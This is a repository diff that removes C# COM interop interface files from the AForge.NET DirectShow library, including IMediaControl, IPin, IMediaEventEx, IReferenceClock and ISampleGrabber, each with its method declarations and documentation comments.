/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource( );
|
||||
|
||||
// --- IGraphBuilder methods
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect( [In] IPin pinOut, [In] IPin pinIn );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a chain of filters to a specified output pin to render it.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Render( [In] IPin pinOut );
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||
/// <param name="playList">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string playList);
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph for a specific file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||
[Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hFile">Handle to the log file.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetLogFile( IntPtr hFile );
|
||||
|
||||
/// <summary>
|
||||
/// Requests that the graph builder return as soon as possible from its current task.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Abort( );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether the current operation should continue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ShouldOperationContinue( );
|
||||
}
|
||||
}
|
@ -1,118 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface provides methods for controlling the flow of data through the filter graph.
|
||||
/// It includes methods for running, pausing, and stopping the graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsDual )]
|
||||
internal interface IMediaControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Runs all the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Run( );
|
||||
|
||||
/// <summary>
|
||||
/// Pauses all filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Pause( );
|
||||
|
||||
/// <summary>
|
||||
/// Stops all the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Stop( );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the state of the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="timeout">Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.</param>
|
||||
/// <param name="filterState">Ìariable that receives a member of the <b>FILTER_STATE</b> enumeration.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetState( int timeout, out int filterState );
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Name of the file to render</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile( string fileName );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph, for a specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Name of the file containing the source video.</param>
|
||||
/// <param name="filterInfo">Receives interface of filter information object.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a collection of the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="collection">Receives the <b>IAMCollection</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_FilterCollection(
|
||||
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a collection of all the filters listed in the registry.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="collection">Receives the <b>IDispatch</b> interface of <b>IAMCollection</b> object.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_RegFilterCollection(
|
||||
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
|
||||
|
||||
/// <summary>
|
||||
/// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int StopWhenReady( );
|
||||
}
|
||||
}
|
@ -1,126 +0,0 @@
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface inherits contains methods for retrieving event notifications and for overriding the
|
||||
/// filter graph's default handling of events.
|
||||
/// </summary>
|
||||
[ComVisible( true ), ComImport,
|
||||
Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsDual )]
|
||||
internal interface IMediaEventEx
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.
|
||||
/// </summary>
|
||||
/// <param name="hEvent">Pointer to a variable that receives the event handle.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetEventHandle( out IntPtr hEvent );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the next event notification from the event queue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lEventCode">Variable that receives the event code.</param>
|
||||
/// <param name="lParam1">Pointer to a variable that receives the first event parameter.</param>
|
||||
/// <param name="lParam2">Pointer to a variable that receives the second event parameter.</param>
|
||||
/// <param name="msTimeout">Time-out interval, in milliseconds.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout );
|
||||
|
||||
/// <summary>
|
||||
/// Waits for the filter graph to render all available data.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="msTimeout">Time-out interval, in milliseconds. Pass zero to return immediately.</param>
|
||||
/// <param name="pEvCode">Pointer to a variable that receives an event code.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int WaitForCompletion( int msTimeout, [Out] out int pEvCode );
|
||||
|
||||
/// <summary>
|
||||
/// Cancels the Filter Graph Manager's default handling for a specified event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lEvCode">Event code for which to cancel default handling.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CancelDefaultHandling( int lEvCode );
|
||||
|
||||
/// <summary>
|
||||
/// Restores the Filter Graph Manager's default handling for a specified event.
|
||||
/// </summary>
|
||||
/// <param name="lEvCode">Event code for which to restore default handling.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RestoreDefaultHandling( int lEvCode );
|
||||
|
||||
/// <summary>
|
||||
/// Frees resources associated with the parameters of an event.
|
||||
/// </summary>
|
||||
/// <param name="lEvCode">Event code.</param>
|
||||
/// <param name="lParam1">First event parameter.</param>
|
||||
/// <param name="lParam2">Second event parameter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 );
|
||||
|
||||
/// <summary>
|
||||
/// Registers a window to process event notifications.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hwnd">Handle to the window, or <see cref="IntPtr.Zero"/> to stop receiving event messages.</param>
|
||||
/// <param name="lMsg">Window message to be passed as the notification.</param>
|
||||
/// <param name="lInstanceData">Value to be passed as the <i>lParam</i> parameter for the <i>lMsg</i> message.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData );
|
||||
|
||||
/// <summary>
|
||||
/// Enables or disables event notifications.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lNoNotifyFlags">Value indicating whether to enable or disable event notifications.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetNotifyFlags( int lNoNotifyFlags );
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether event notifications are enabled.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lplNoNotifyFlags">Variable that receives current notification status.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetNotifyFlags( out int lplNoNotifyFlags );
|
||||
}
|
||||
}
|
@ -1,191 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface is exposed by all input and output pins of DirectShow filters.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IPin
|
||||
{
|
||||
/// <summary>
|
||||
/// Connects the pin to another pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="receivePin">Other pin to connect to.</param>
|
||||
/// <param name="mediaType">Type to use for the connections (optional).</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Makes a connection to this pin and is called by a connecting pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="receivePin">Connecting pin.</param>
|
||||
/// <param name="mediaType">Media type of the samples to be streamed.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the current pin connection.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( );
|
||||
|
||||
/// <summary>
|
||||
/// Returns a pointer to the connecting pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Receives <b>IPin</b> interface of connected pin (if any).</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectedTo( [Out] out IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Returns the media type of this pin's connection.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Pointer to an <see cref="AMMediaType"/> structure. If the pin is connected,
|
||||
/// the media type is returned. Otherwise, the structure is initialized to a default state in which
|
||||
/// all elements are 0, with the exception of <b>lSampleSize</b>, which is set to 1, and
|
||||
/// <b>FixedSizeSamples</b>, which is set to <b>true</b>.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about this pin (for example, the name, owning filter, and direction).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinInfo"><see cref="PinInfo"/> structure that receives the pin information.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryPinInfo( [Out] out PinInfo pinInfo );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the direction for this pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinDirection">Receives direction of the pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryDirection( out PinDirection pinDirection );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves an identifier for the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="id">Pin identifier.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether a given media type is acceptable by the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType"><see cref="AMMediaType"/> structure that specifies the media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for this pin's preferred media types.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Address of a variable that receives a pointer to the <b>IEnumMediaTypes</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumMediaTypes( IntPtr enumerator );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an array of the pins to which this pin internally connects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="apPin">Address of an array of <b>IPin</b> pointers.</param>
|
||||
/// <param name="nPin">On input, specifies the size of the array. When the method returns,
|
||||
/// the value is set to the number of pointers returned in the array.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin );
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the pin that no additional data is expected.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EndOfStream( );
|
||||
|
||||
/// <summary>
|
||||
/// Begins a flush operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int BeginFlush( );
|
||||
|
||||
/// <summary>
|
||||
/// Ends a flush operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EndFlush( );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="start">Start time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||
/// <param name="stop">End time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||
/// <param name="rate">Rate at which this segment should be processed, as a percentage of the original rate.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int NewSegment(
|
||||
long start,
|
||||
long stop,
|
||||
double rate );
|
||||
}
|
||||
}
|
@ -1,53 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The <b>IPropertyBag</b> interface provides an object with a property bag in
|
||||
/// which the object can persistently save its properties.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IPropertyBag
|
||||
{
|
||||
/// <summary>
|
||||
/// Read a property from property bag.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="propertyName">Property name to read.</param>
|
||||
/// <param name="pVar">Property value.</param>
|
||||
/// <param name="pErrorLog">Caller's error log.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Read(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
|
||||
[In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar,
|
||||
[In] IntPtr pErrorLog );
|
||||
|
||||
/// <summary>
|
||||
/// Write property to property bag.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="propertyName">Property name to read.</param>
|
||||
/// <param name="pVar">Property value.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Write(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
|
||||
[In, MarshalAs( UnmanagedType.Struct )] ref object pVar );
|
||||
}
|
||||
}
|
@ -1,87 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2010
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
// Written by Jeremy Noring
|
||||
// kidjan@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The IReferenceClock interface provides the reference time for the filter graph.
|
||||
///
|
||||
/// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock.
|
||||
/// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to
|
||||
/// retrieve the current reference time, or to request notification of an elapsed time.
|
||||
/// </summary>
|
||||
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
|
||||
Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IReferenceClock
|
||||
{
|
||||
/// <summary>
|
||||
/// The GetTime method retrieves the current reference time.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pTime">Pointer to a variable that receives the current time, in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetTime( [Out] out long pTime );
|
||||
|
||||
/// <summary>
|
||||
/// The AdviseTime method creates a one-shot advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="baseTime">Base reference time, in 100-nanosecond units. See Remarks.</param>
|
||||
/// <param name="streamTime">Stream offset time, in 100-nanosecond units. See Remarks.</param>
|
||||
/// <param name="hEvent">Handle to an event, created by the caller.</param>
|
||||
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AdviseTime(
|
||||
[In] long baseTime,
|
||||
[In] long streamTime,
|
||||
[In] IntPtr hEvent,
|
||||
[Out] out int pdwAdviseCookie );
|
||||
|
||||
/// <summary>
|
||||
/// The AdvisePeriodic method creates a periodic advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="startTime">Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.</param>
|
||||
/// <param name="periodTime">Time between notifications, in 100-nanosecond units. Must be greater than zero.</param>
|
||||
/// <param name="hSemaphore">Handle to a semaphore, created by the caller.</param>
|
||||
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AdvisePeriodic(
|
||||
[In] long startTime,
|
||||
[In] long periodTime,
|
||||
[In] IntPtr hSemaphore,
|
||||
[Out] out int pdwAdviseCookie );
|
||||
|
||||
/// <summary>
|
||||
/// The Unadvise method removes a pending advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="dwAdviseCookie">Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Unadvise( [In] int dwAdviseCookie );
|
||||
}
|
||||
}
|
@ -1,103 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve
|
||||
/// individual media samples as they move through the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"),
|
||||
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ISampleGrabber
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies whether the filter should stop the graph after receiving one sample.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="oneShot">Boolean value specifying whether the filter should stop the graph after receiving one sample.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the media type for the connection on the Sample Grabber's input pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Specifies the required media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the media type for the connection on the Sample Grabber's input pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType"><see cref="AMMediaType"/> structure, which receives media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies whether to copy sample data into a buffer as it goes through the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="bufferThem">Boolean value specifying whether to buffer sample data.
|
||||
/// If <b>true</b>, the filter copies sample data into an internal buffer.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a copy of the sample that the filter received most recently.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="bufferSize">Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.</param>
|
||||
/// <param name="buffer">Pointer to a buffer to receive a copy of the sample, or NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentBuffer( ref int bufferSize, IntPtr buffer );
|
||||
|
||||
/// <summary>
|
||||
/// Not currently implemented.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sample"></param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentSample( IntPtr sample );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a callback method to call on incoming samples.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="callback"><see cref="ISampleGrabberCB"/> interface containing the callback method, or NULL to cancel the callback.</param>
|
||||
/// <param name="whichMethodToCallback">Index specifying the callback method.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback );
|
||||
}
|
||||
}
|
